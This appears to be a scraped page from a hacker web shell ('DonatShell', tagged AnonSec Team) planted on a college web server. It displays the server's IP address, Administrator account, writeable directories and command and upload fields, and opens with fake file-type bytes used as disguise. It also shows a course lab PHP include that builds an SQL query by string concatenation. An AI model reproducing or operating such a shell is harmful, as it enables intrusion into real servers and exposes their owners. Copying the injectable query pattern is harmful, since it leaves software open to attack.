GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/Labs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/Labs/StudentServerNameNAT.phpinc
<?
// /JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc
// Get the student Uipaddress, Unat, userFileName, userId, Uservername, and Uusername setting for all labs.

if (da()) debugTrackBegin();
#d_On();

$f_uId = formValue('uId');
#d_Var('$f_uId',$f_uId,'',false,true);

if ( $f_uId ) {
	$userId = $f_uId;
	$userFileName = str_replace(array("-","'"," "),"",userName($userId));
	$userFullname = userName($userId);
	$Uusername = explode(' ',userName($userId));
	$Uusername = strtolower($Uusername[0]);
	$newUser = explode(' ',userName($userId));
	if ( isset($newUser[1]) ) {
		$newUser = explode('-',$newUser[1]);
		$newUser = strtolower($newUser[0]);
	} else { $newUser = 'user'; }
	// Get userStudentId.
	$query = "
			SELECT userStudentId
				FROM `user`
			 WHERE userId = ".$userId."
	";
	$userStudentIdResult = query_do($query);
	$userStudentIdCount = $_SESSION['qry']['count'];
	if ( $userStudentIdCount ) {
		mysqli_data_seek($userStudentIdResult, 0);
		$userStudentIdInfo = mysqli_fetch_assoc($userStudentIdResult);
		$userStudentId = $userStudentIdInfo['userStudentId'];
	} else {
		$f_messageError = "Unable to get your StudentId.";
		require('common/classError.phpinc');
	}
	$domain = explode(' ',userName($userId));
} else {
	$userId = $_SESSION['userId'];
	$userFileName = str_replace(array("-","'"," "),"",$_SESSION['userFullName']);
	$userFullname = userName($userId);
	$Uusername = explode(' ',$_SESSION['userFullName']);
	$Uusername = strtolower($Uusername[0]);
	$newUser = explode(' ',$_SESSION['userFullName']);
	if ( isset($newUser[1]) ) {
		$newUser = explode('-',$newUser[1]);
		$newUser = strtolower($newUser[0]);
	} else { $newUser = 'user'; }
	$userStudentId = $_SESSION['userStudentId'];
	$domain = explode(' ',$_SESSION['userFullName']);
}

// Set $Iccc. This is the ccc part of your IP address. aaa.bbb.ccc.ddd 192.168.ccc.ddd
$Iccc = 211;

// Generate $Uservername.
if ( !isset($Uversion) ) $Uversion = 20;
$userParts = explode(" ",userName($userId));
$Uservername = strtolower(substr($userParts[0],0,3));
if ( isset($userParts[1]) ) {
	$Uservername .= strtolower(substr($userParts[1],0,3));
} else {
	$Uservername .= 'xxx';
}
$Uservername .= $Uversion;
unset ($userParts);

// Generate $octet4.
// Search for the StudentList.txt file and parse it.
$dirs = explode("/",dirname($_SERVER['SCRIPT_FILENAME']));
$dirLast = '/'.$dirs[count($dirs)-1];
$filename = 'StudentList.txt';
$filepath =  $_SESSION['DIRECTORY_ROOT'].substr($courseDirectory,1).'Labs/'.$filename;
d_Var('$filepath',$filepath);
$octet4 = false;
if ( file_exists($filepath) ) {
	// Get IP number.
	$lastIP = 2;
	$file_handle = fopen($filepath, "r");
	while ( !feof($file_handle) && $octet4 === false ) {
		$line = explode('|',fgets($file_handle));
		#d_Var('$line',$line);
		if ( $line[0] == $userStudentId ) {
			if ( isset($line[2]) ) $octet4 = trim($line[2]);
		} else {
			if ( isset($line[2]) && $line[2] < 50 ) $lastIP = max($lastIP,$line[2]);
		}
	}
	fclose($file_handle);
	#d_Var('$octet4',$octet4);
	#d_Var('$lastIP',$lastIP);
	if ( $octet4 === false ) {
		$octet4 = $lastIP + 1;
		//$file_handle = fopen($filepath, "a");
		file_put_contents($filepath, $userStudentId.'|'.$_SESSION['userFullName'].'|'.$octet4."\n", FILE_APPEND);
		// Verify Uipaddress.
		$octet4 = false;
		$file_handle = fopen($filepath, "r");
		while ( !feof($file_handle) && $octet4 === false ) {
			$line = explode('|',fgets($file_handle));
			#d_Var('$line',$line);
			if ( $line[0] == $userStudentId ) if ( isset($line[2]) ) $octet4 = trim($line[2]);
		}
		fclose($file_handle);
		#d_Var('$octet4',$octet4);
		#d_Var('$lastIP',$lastIP);
		if ( $octet4 === false ) {
			$f_messageError = "Unable to get your IP address assignment.";
			require('common/classError.phpinc');
		}
	}
} else {
	$f_messageError = "Unable to get your IP address assignment from $filepath.";
	require('common/classError.phpinc');
}
if ( $octet4 !== false ) {
	$octet3 = $octet4 + 100;
} else {
	$octet3 = false;
}
if ( $Uversion != 12 ) {
	$octet4 += 50;
}
$octet4address = '192.168.'.$octet3.'.'.$octet4;

switch ( count($domain) ) {
	case 1: $domain = substr($domain[0],0,3); break;
	case 2: $domain = substr($domain[1],0,3); break;
	case 3: $domain = substr($domain[2],0,3); break;
	case 4: $domain = substr($domain[3],0,3); break;
	default:
	case 5: $domain = substr($domain[4],0,3); break;
}
$domain = strtolower($domain).'.test';

unset ($dirs);
unset ($dirLast);
unset ($filename);
unset ($filepath);
unset ($file_handle);
unset ($line);

$octet1 = '<b class="octet1">aaa</b>';
$octet2 = '<b class="octet2">bbb</b>';
$octet3 = '<b class="octet3">ccc</b>';
$octet4 = '<b class="octet4">ddd</b>';
$username = strtolower(str_replace(array("-","'"," "),"",$_SESSION['userFirstName']));
$spaces = 12 - strlen($Uservername);
if ( $spaces > 0 ) { $spaces = str_repeat(" ",$spaces); } else { $spaces = " "; }
$spacesU = 4 - strlen($octet4);
if ( $spacesU > 0 ) { $spacesU = str_repeat(" ",$spacesU); } else { $spacesU = " "; }
$username2 = strtolower(str_replace(array("-","'"," "),"",$userLastName)); if ( $username2 == '' ) $username2 = strrev($username);

#d_On();
d_Var('$userId',$userId);
d_Var('$Uservername',$Uservername);
d_Var('$Uusername',$Uusername);
d_Var('$octet4address',$octet4address);
d_Var('$octet4',$octet4);
d_Var('$octet3',$octet3);
d_Var('$userId',$userId);
d_Var('$userFileName',$userFileName);
d_Var('$username',$username);
d_Var('$username2',$username2);

d_Off();
#setDebugOn();
if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team